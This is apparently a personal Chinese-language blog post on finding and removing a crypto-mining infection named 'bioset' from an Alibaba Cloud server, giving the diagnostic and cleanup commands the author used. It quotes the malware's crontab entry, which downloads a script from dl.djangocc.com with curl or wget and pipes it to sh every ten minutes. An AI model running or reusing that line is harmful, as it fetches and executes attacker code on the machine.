1.問題出現
一大早剛起床,阿里雲就給我發了一條短信,提醒我服務器出現緊急安全事件:挖礦程序
阿里雲“貼心”地提供了解決方法,不過需要購買企業版的安全服務,本着能自己動手就不花錢原則自己搞了起來
於是趕緊上網查資料解決,相似的問題好多,都是被這些腳本變成了挖礦的“肉雞”
2.問題排查
1)首先top命令查看到占用CPU最多的進程bioset,判斷這個就是所謂的挖礦進程
這里經過網上資料提醒,經過攻擊后控制台輸出變得不可信,因為病毒很可能重定向或者篡改、隱藏你的輸出,有一個busybox可以解決這一問題,這里因為我沒有出現這種情況所以沒用。
kill掉進程,過一會也會繼續出現,說明存在守護進程或者定時同步機制。
2)通過進程名尋找文件目錄
[root@hadoop1 sbin]# find / -name '*bioset*' /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/vje9c1vlq/bk20vm2o/xCkB12/bioset
該目錄下存在一個proc_1的腳本文件,推測是守護腳本,直接刪除也不行(還有同步機制,接着看)
3)使用 crontab -l 查詢任務項,果然有貓膩
[root@hadoop1 sbin]# crontab -l */10 * * * * (curl -fsSL --retry 3 -m180 "http://dl.djangocc.com:8080/p?a=p&a2=cron"||wget -q --tries=3 -T180 -O- "http://dl.djangocc.com:8080/p?a=p&a2=cron")|sh
該病毒會每10分鍾從djangocc.com上下載shell腳本並執行,這里不能直接執行crontab -e,進去后刪除,然后保存退出。這方法壓根不行,因為還會繼續添加。
3.問題解決
1)先關掉定時crond
systemctl stop crond #關掉定時
systemctl disable crond.service #關掉定時開機自啟動
2)刪除crontab文件
rm -rf /var/spool/cron/root
3)刪除病毒文件
rm -f /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/*
4)根據之前top的病毒PID停止進程
kill -9 2042
5)執行crontab -e進去將所有內容刪除,保存退出
crontab -e
6)重啟監測,到這里top發現沒有bioset,CPU占用也正常
(不過提醒下,可以去阿里雲后台再確認下CPU運行是否正常)
參考:
https://www.sunjs.com/article/detail/62c7ba45975946f89b3a1cd574a4856e.html